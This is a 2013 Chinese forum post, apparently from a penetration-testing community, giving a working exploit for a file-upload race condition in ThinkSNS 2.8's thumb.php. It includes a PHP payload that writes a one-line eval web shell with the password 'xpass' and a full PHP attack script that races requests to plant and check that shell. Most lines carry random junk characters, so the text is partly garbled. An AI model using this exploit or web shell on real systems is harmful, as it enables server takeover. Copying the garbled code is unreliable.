中国网络渗透测试联盟

标题: Thinksns2.8文件上传漏洞利用exp [打印本页]

作者: admin    时间: 2013-2-4 16:12
标题: Thinksns2.8文件上传漏洞利用exp
漏洞版本7 f) F% _5 r7 b9 Q7 T! Y) A
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
( `# r: A: Z: W, S1 J- L漏洞文件
( S  `; E. E2 P' x( R- L- F+ p存在漏洞的文件为:thumb.php
2 H5 r  V8 U3 Y) ^- H作者:韦鲲鹏# N7 m% I1 @# t3 N; K7 w  ?
1、        准备如下PHP文件并上传到服务器(自己的)。
  _1 [7 t5 u2 `文件内容如下:( _9 O7 q0 b) O! p, {9 r) U
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>. l- P- `1 c  J; B
2、        计算出临时的文件名:/ a% |! P$ p5 Z0 d
这里我们可以看文件的99行(刚刚是不是没注意呀!)。- R* q- F: D4 q# l
* G( u  ~3 J. A" f- l
3、        上传临时文件。
+ U3 O0 U2 q, d4 U- w: \5 i4 T4、        访问临时文件。' R; f; a, \- m* a1 F6 r) o1 X
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
" x- t6 s4 a7 xExploit文件内容如下:(这个我就不详细解释了). {3 k4 I5 u8 E) F* ]7 c: C3 r
<?php) K4 ^: I/ a) q* I4 t& T* j
error_reporting(0);
* Q/ N/ b+ ?; z$ b0 v0 Wset_time_limit(0);; T' L. L8 h; T' O- J
ini_set(“default_socket_timeout”, 5);
5 e3 ^3 n3 c6 Q) T( Kfunction http_send($host, $port, $headers) {
2 |, g& X2 w2 X" ]& u* U0 Q+ U$fp = fsockopen($host, $port);* I$ G) U0 a6 u' |
if (!$fp) die(‘Connection -> fail’);' n8 G3 W, X: W8 x& X. U9 Q0 |1 a( x" V
fputs($fp, $headers);/ T/ C! u! P, D$ \/ D% e, [
return $fp;
7 k2 d3 l3 Y" C0 s}
* f7 L$ |7 x! N9 \function http_recv($fp) {  W+ U$ E8 I" H" G6 x. I0 o
$ret=”";
- q5 b7 a! n6 n: R* |) Cwhile (!feof($fp))" @2 h3 K* L0 Q( i& n; E
$ret.= fgets($fp, 1024);
( A; L8 Y" p$ a% O5 qfclose($fp);
# B/ [% {- N9 ?  C. Greturn $ret;+ f6 @  t5 q& ?  i( \$ a
}
7 l+ ?' d2 M* J* _* P: N. Kprint “\n#  ThinkSns Arbitrary File Upload   #\n”;7 X6 _1 I# z% {2 F
print “# Discovered by 韦鲲鹏 #\n\n”;
  a8 _/ J1 ]: iif ($argc < 4) {
  |/ S% ^) u8 Z0 D, L' f& Lprint “Usage:   php <host> <path> <romote_url>\n”;# v5 n+ g, K: }$ L4 ^1 k
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;: r9 G' z9 s7 L9 e
die();9 |' J3 c6 y. p- z  v0 T
}, Z: {0 J& [8 B1 w  v; z8 K
$host = $argv[1];
- q$ @6 k* X3 ]7 O$path = $argv[2];+ X9 z# g2 D/ V7 U& }+ Y9 a7 L
$url = $argv[3];; R8 O6 H! ~( l5 \
$i=0;
) x% z5 A- \0 q% R//上传数据包
- e0 Z/ [. L. M8 V) H6 e/ k, F$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
  L' p+ }" e  q$ }2 W; {) V" V$headers_up .= “Host: “.$host.”\r\n”;
* B' D1 H  h+ t! a- Q5 [0 ~$headers_up .= “Connection: close\r\n\r\n”;
2 X, ]+ a/ @7 e/ J4 S6 cecho $headers_up;
: t6 D. ^. T3 v1 d# `//临时文件访问数据包5 f' a1 r5 G* t( ?' N
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
( U, b# G7 Q: d1 W& F/ H9 G$headers .= “Host: “.$host.”\r\n”;
8 h9 u8 S; S4 v, @$headers .= “Connection: close\r\n\r\n”;
$ U7 N0 H  y0 [8 i. Decho $headers;/ _* _  q6 H7 L6 E; r. U  m: \9 [
while(++$i<10) {
4 [8 {0 s  C! g3 r% Ifclose(http_send($host, 80, $headers));
1 `8 A" a1 I. p6 g7 K$ P7 N2 z+ i}2 A, S6 N0 a& }- e; y8 e' y9 U
fclose(http_send($host, 80, $headers_up));
1 H9 c/ h- ~9 p3 Y; b. mwhile(++$i<50) {% @# A( o/ T; }' o1 g7 B
fclose(http_send($host, 80, $headers));
6 ]/ C, u9 A' l+ _5 i& k/ C}
3 G; B0 T- I, E2 T6 P$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;( I# Q" w1 N6 D( ]
$headers .= “Host: “.$host.”\r\n”;4 I& J. a* Q* M% l0 D! M$ b
$headers .= “Connection: close\r\n\r\n”;
) }, e$ @1 O. {$ h+ f4 K$res=http_recv(http_send($host, 80, $headers));! x$ A4 [1 l, w
if(preg_match(‘/200 OK/’,$res)) {  U5 m8 I* N& }; G" `
print “Success!\n\n”;
$ _2 }. M* ]% w1 W/ I4 r% X} else {
9 _) B# a: A5 t* B* T8 e$ ?print “Fail!\n\n”;+ t6 Q0 a2 i( n* f: z7 ~# N7 K: n
}2 i0 G! p8 R! V  k1 }: O
?>
! f" k4 d) h) ?. [3 s




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2